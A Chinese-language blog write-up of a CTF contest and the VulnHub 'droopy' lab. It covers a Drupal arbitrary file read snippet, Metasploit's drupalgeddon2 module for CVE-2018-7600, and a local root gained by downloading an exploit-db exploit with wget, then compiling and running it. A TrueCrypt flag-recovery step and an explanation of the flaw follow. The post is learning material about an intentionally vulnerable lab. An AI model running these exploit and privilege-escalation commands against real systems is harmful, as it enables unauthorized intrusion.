Close

[网鼎杯线下] web && droopy 靶场

网鼎杯线下web && droopy 靶场

这次网鼎打完啦,还是觉得自己太菜了
半决赛第二也是抱了pwn爷爷的大腿(aris 太强了)
回学校在做一波

Drupal

任意文件读取

web给了一个cms,比赛的时候想着在线审计一个cms也太不靠谱了。
但是我们还是头铁找到了一个任意文件读取
/sites/all/modules/avatar_uploader/lib/demo/view.php
源码

<?php

$file = $_GET['file'];

echo file_get_contents("uploadDir/$file");
exit

位置在这里=。=
很明显的任意文件读取,赛后才知道这也是一个CVE

远程代码执行漏洞(CVE-2018-7600)

但是就是看着别人打我们,我们抓到流量就是打不回去很难受
害的我们决赛的时候web丢分丢了2000分,太菜了
回去之后查了一下关于Drupal的cve
就查到了这个远程代码执行漏洞(CVE-2018-7600)
回来后辉神跟我说msf上面可能有让我找一下

msf使用

-w1049
在线搭一个Drupal来测试一下这个cve
顺便学习一下msf的使用,先使用这个模块,再看看他需要
use exploit/unix/webapp/drupal_drupalgeddon2
-w834
-w859
配置完设置
可以准备打过去了,可能是阿里云的原因一直打不过去,
赞叹一下阿里云牛逼
于是我换成了虚拟机,推荐一下
http://www.vulnhub.com
-w272
-w537
访问一下
-w1280
成功再像刚才一样配置一遍msf
-w855
成功了。。真简单
还可以用background退回主界面
然后在用session -i 来进入太强了

番外

既然已经进来了,而且是个靶机,它里面也有一个flag,顺便找一下
继续渗透
进入shell
看下自己什么权限发现自己是www-data
看了一下官网给的hint
-w301

提权

使用ofs.c提权
在tmp目录下进行
wget https://www.exploit-db.com/download/37292
下载下来
image

mv 37292 ofs.c
gcc ofs.c -o ofs
chmod +x ofs
./ofs

image
成功
在/var/mail 可以翻到一个信息
image
不明白,卡了挺久,上网查一下
image
是一个truecrypt容器,mac居然不能用=。=
看来是要将那个dava.tc解密了
给了hint说是关于学院小于11字,还说我肯定没有=。=
然后还给了一个乐队是the jam,让我们找一首歌
上网查一下估计是个学校有关。。看了很久终于找到
The Eton Rifles 是介绍eton 大学的
所以构造密码etonacademy
image
正确=。=

cryptsetup open --type tcrypt dave.tc Dave
mount /dev/mapper/dave /media/Dave
cd /media/dev

看看有啥在里面

find .
.
./Panama
./Panama/shares.jpg
./.secret
./.secret/.top
./.secret/.top/flag.txt
./.secret/piers.png
./buller
./buller/BullingdonCrest.jpg
./lost+found

$ cat .secret/.top/flag.txt
################################################################################
# ___ ___ _ _ ___ ___ _ _____ _ _ _ _ _____ ___ ___ _ _ ___ #
# / __/ _ \| \| |/ __| _ \ /_\_ _| | | | | /_\_ _|_ _/ _ \| \| |/ __| #
# | (_| (_) | .` | (_ | / / _ \| | | |_| | |__ / _ \| | | | (_) | .` |\__ \ #
# \___\___/|_|\_|\___|_|_\/_/ \_\_| \___/|____/_/ \_\_| |___\___/|_|\_||___/ #
# #
################################################################################

Firstly, thanks for trying this VM. If you have rooted it, well done!

Shout-outs go to #vulnhub for hosting a great learning tool. A special thanks
goes to barrebas and junken for help in testing and final configuration.
 --knightmare

远程代码执行漏洞(CVE-2018-7600) 原理

https://github.com/drupal/drupal/blob/8.6.x/core/lib/Drupal/Core/Render/Renderer.php?spm=a2c4e.11153940.blogcont584991.8.5b0555461HKIBf
源代码

if (isset($elements['#lazy_builder'])) {
      $callable = $elements['#lazy_builder'][0];
      $args = $elements['#lazy_builder'][1];
      if (is_string($callable) && strpos($callable, '::') === FALSE) {
        $callable = $this->controllerResolver->getControllerFromDefinition($callable);
      }
      $new_elements = call_user_func_array($callable, $args);

主要漏洞是在这里
[#lazy_builder]的值为经过过滤就直接传入call_user_func_array导致任意命令执行
image
就可以把第一个当函数,第二个当调用参数可以进行任意命令执行

心得

第一次参加线下=。=真的是一点防备都没有
以后线下要给所有cms的cve做下备份
或者当场打开msf来试一试了=。=
web没前途呀

参考资料

https://blog.csdn.net/weed_hz/article/details/8949370xx
https://yq.aliyun.com/articles/584991

Leave a Reply

Your email address will not be published. Required fields are marked *